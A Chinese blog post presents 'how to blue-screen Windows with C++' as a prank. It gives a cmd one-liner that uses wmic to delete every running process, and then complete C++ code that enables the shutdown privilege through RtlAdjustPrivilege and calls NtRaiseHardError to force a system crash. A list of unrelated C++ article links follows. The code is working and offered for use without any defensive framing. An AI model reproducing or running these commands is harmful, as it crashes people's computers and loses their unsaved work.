首页 > 系统相关 >如何利用C++使Windows蓝屏

如何利用C++使Windows蓝屏

时间:2022-11-23 09:00:29浏览次数:36  
标签:NtRaiseHardError ULONG Windows pdef C++ NTSTATUS RtlAdjustPrivilege 蓝屏

如何利用C++使Windows蓝屏



虽说windows非常强大,但是使它蓝屏也非常简单:
如果你想让Windows蓝屏,你一定会在运行框里输入:

cmd /c for /f %I in ('wmic process get Name')do (wmic process where Name="%I" delete) 

但是!!! 这个方法在某些电脑不一定能用,只会倒计时关机。 有没有其他方法吗?? 有!!! 直接打开C++ IDE,输入以下代码:
#include <iostream>
#include <Windows.h>
#include <winternl.h>
using namespace std;
typedef NTSTATUS(NTAPI *pdef_NtRaiseHardError)(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask OPTIONAL, PULONG_PTR Parameters, ULONG ResponseOption, PULONG Response);
typedef NTSTATUS(NTAPI *pdef_RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
int main()
{
    BOOLEAN bEnabled;
    ULONG uResp;
    LPVOID lpFuncAddress = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege");
    LPVOID lpFuncAddress2 = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtRaiseHardError");
    pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)lpFuncAddress;
    pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)lpFuncAddress2;
    NTSTATUS NtRet = NtCall(19, TRUE, FALSE, &bEnabled); 
    NtCall2(STATUS_FLOAT_MULTIPLE_FAULTS, 0, 0, 0, 6, &uResp); 
    return 0;
}

这样你就可以获得一张新壁纸:


标签:NtRaiseHardError,ULONG,Windows,pdef,C++,NTSTATUS,RtlAdjustPrivilege,蓝屏
From: https://www.cnblogs.com/demc/p/16917165.html

相关文章

  • C/C++个人帐本管理系统
    C/C++个人帐本管理系统程序设计题3:个人帐本管理系统指导老师:吴家皋[email protected]【问题描述】该系统要求实现一个简单、实用的个人帐本管理程......
  • C/C++飞机票订购系统
    C/C++飞机票订购系统程序设计题5:飞机票订购系统指导老师:吴家皋[email protected]【问题描述】该系统要求实现一个简单、实用的机票订购程序,主要功......
  • C++语言类的多态介绍和示例
         多态按字面的意思就是多种形态。当类之间存在层次结构,并且类之间是通过继承关联时,就可能会用到多态。    C++多态就是当调用成员函数时,会根据调用函数......
  • C++语言类的继承与派生介绍和示例
     继承    继承是面向对象程序设计中最重要的一个概念。继承允许我们根据一个类来定义另一个类,达到了代码功能重用效果。    当创建一个类时,如果待创建的类与......
  • C++语言运算符重载
     概念    在C语言中,运算符只能用于基本数据类型,例如,可以用==判断两个整数是否相等,但不能用于判断字符串是否相等,也不能用于判断结构体,也不能用于判断类。   ......
  • C++语言动态内存管理介绍和示例
     C++动态内存    在C++程序中,所有内存需求都是在程序执行之前通过定义所需的变量来确定的。但是可能存在程序的内存需求只能在运行时确定的情况。在这些情况下,程序......
  • C++语言vector容器介绍和示例
         之前我们在声明数组的时候,采用的是datatype array[len]的形式,数组在分配之后,不能调整大小,删除和插入数据时操作十分的繁琐,虽然可以采用链表,但是链表的操作更......
  • C++语言类的详解和示例
     超女选秀的例子我们玩了很久,为了教学的需要,暂时离开美眉们,我将采用实际项目开发的例子。在C语言基础知识中已学习过文件操作,在实际开发中,我会把文件操作封装成一个类,类的......
  • C++语言引用的介绍和示例
         对于习惯使用C进行开发的程序员来说,在看到C++中出现的&符号,可能会犯迷糊,因为在C语言中这个符号表示了取地址符,但是在C++中,它除了取地址,还有其它的用途,叫做引用......
  • C++语言string类介绍和示例
    在C语言中,用0结尾的字符数组表示字符串,C的字符串有一个问题,就是定义后大小不能改变,存入的内容只能比数组小,不能大,如果不小心存多了,会引起内存的溢出,这个问题让程序员很郁闷......